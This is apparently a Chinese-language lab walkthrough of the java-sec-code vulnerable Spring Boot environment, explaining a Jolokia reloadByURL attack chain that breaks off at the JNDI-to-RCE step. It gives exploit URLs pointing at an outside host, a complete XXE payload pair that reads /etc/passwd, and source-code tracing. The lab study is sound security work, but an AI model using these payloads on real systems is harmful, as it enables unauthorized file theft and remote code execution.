java-sec-code环境测试指北
好棒的测试环境,几乎涵盖所有类型的java漏洞了,首先要感谢一下JoyChou师傅的环境:https://github.com/JoyChou93/java-sec-code
让我们一个个看过去
Actuators to RCE
首先我们要了解一下Spring Boot Actuator是什么
Spring Boot Actuator是Spring Boot提供用于对应用系统进行自省和监控的功能模块,基于此开发人员可以方便地对应用系统某些监控指标进行查看、统计、审计、指标收集等。 Actuator提供了基于Http端点或JMX来管理和监视应用程序
说白了就是一个针对于Spring Boot的管理程序,可以直接通过http管理监视SpringBoot应用程序
JMX和Mbeans
JMX的全称为Java Management Extensions. 顾名思义,是管理Java的一种扩展。这种机制可以方便的管理、监控正在运行中的Java程序。常用于管理线程,内存,日志Level,服务重启,系统环境等。
MBean:是Managed Bean的简称,可以翻译为“管理构件”。在JMX中MBean代表一个被管理的资源实例,通过MBean中暴露的方法和属性,外界可以获取被管理的资源的状态和操纵MBean的行为。
通俗来讲Spring Boot Actuator就是JMX的一种具体实现,而MBean就类似于每个功能或对每种信息进行操作或观察的一个实例
那么RCE是怎么实现的呢,我们首先看下第一种方式
jolokia
Jolokia是一款开源产品,用于为JMX(Java Management Extensions)技术提供HTTP API接口
漏洞成因:logback JMXConfigurator 允许通过 JMX 来配置 logback。简单来说就是,它允许你从默认配置文件,指定的文件或者 URL 重新配置 logback,列出 logger 以及修改 logger 级别。jolokia在logback JMXConfigurator中提供的
reloadByURL
方法允许我们从外部URL重新加载日志的记录配置。简单来说,就是因为Spring Boot Actuator配置不当并且其使用了Jolokia为其JMX服务提供http服务导致MBean泄露并且可以无身份认证直接通过Jolokia调用到JMX中声明好的方法
如果我们的程序调用了jolokia库,那么Spring Boot会自动注册
/jolokia
路由,Jolokia允许HTTP访问所有注册的MBean,并旨在执行与JMX相同的操作。可以使用URL列出所有可用的MBeans操作:出问题的点在哪里呢,是Logback库提供的“reloadByURL”操作,这个操作允许我们从外部URL重新加载日志配置。它可以通过导航到以下方式触发:http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!!/artsploit.com!/logback.xml
那么我们修改日志配置有什么用呢?首先是这个配置文件使用的是xml格式,所以很明显我们可以通过XXE来实现任意文件读取,其次,对于Logback来说,它可以通过JNDI来获得相关变量,所以我们可以写入一个类似于
<insertFromJNDI env-entry-name="java:comp/env/appName" as="appName" />
的标签来实现JNDI注入进而RCE首先来看XXE,构造两个文件
#logback.xml <?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE a [ <!ENTITY % remote SYSTEM "http://127.0.0.1:8000/file.dtd">%remote;%int;]> <a>&trick;</a>
# file.dtd <!ENTITY % d SYSTEM "file:///etc/passwd"> <!ENTITY % int "<!ENTITY trick SYSTEM ':%d;'>">
然后我们构造如下url
/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/127.0.0.1:8000!/logback.xml
访问就有回显
这里往下都是没用的分析内容,不过实在是不想白白删掉了我们来分析一下url构成
首先是jolokia的路径注册
public JolokiaMvcEndpoint() { super("jolokia", "/jolokia", true); this.controller.setServletClass(AgentServlet.class); this.controller.setServletName("jolokia"); }
只要/jolokia开头就能进入其逻辑中,我们在来看其中对路径进行处理的内容
org.jolokia.http.HttpRequestHandler#handleGetRequest
public JSONAware handleGetRequest(String pUri, String pPathInfo, Map<String, String[]> pParameterMap) { String pathInfo = extractPathInfo(pUri, pPathInfo); JmxRequest jmxReq = JmxRequestFactory.createGetRequest(pathInfo,getProcessingParameter(pParameterMap)); if (backendManager.isDebug()) { logHandler.debug("URI: " + pUri); logHandler.debug("Path-Info: " + pathInfo); logHandler.debug("Request: " + jmxReq.toString()); } return executeRequest(jmxReq); }
这里我们会创建exec对应的
org.jolokia.request.JmxExecRequest
类对象,并将内容放入executeRequest中执行可以看到已经将我们的URL进行解析了,最终其执行过程为将 JmxExecRequst 中的 operation 做参数类型鉴定,然后根据目标函数需要的参数类型,将 arguments 转换成对应类型,最后执行 server.invoke 的调用,这个调用就是执行我们指定的类中的指定的函数,那这里是不是能够任意类和任意函数都能执行呢,不是的,需要提前注册,注册的内容可以通过
/jolokia/list
查看,这也是我们要通过list查看是否有reloadByURL的原因,下一步我们就是来看reloadByURL函数可以看到这个函数要求传入的参数是URL格式,不过我们上一步解析过程中已经自动将string类型转换为了URL类型,我们直接跟入
doConfigure
函数可以看到其从url中获取流后进入下一个
doConfigure
函数public final void doConfigure(InputStream inputStream) throws JoranException { doConfigure(new InputSource(inputStream)); }
转换了下类型,继续
这里在recordEvents中对xml内容进行了解析,触发XXE
好了可以从这里开始看了那么RCE的内容在哪,就是我们之前说的jolokia会从JNDI中获取变量
‘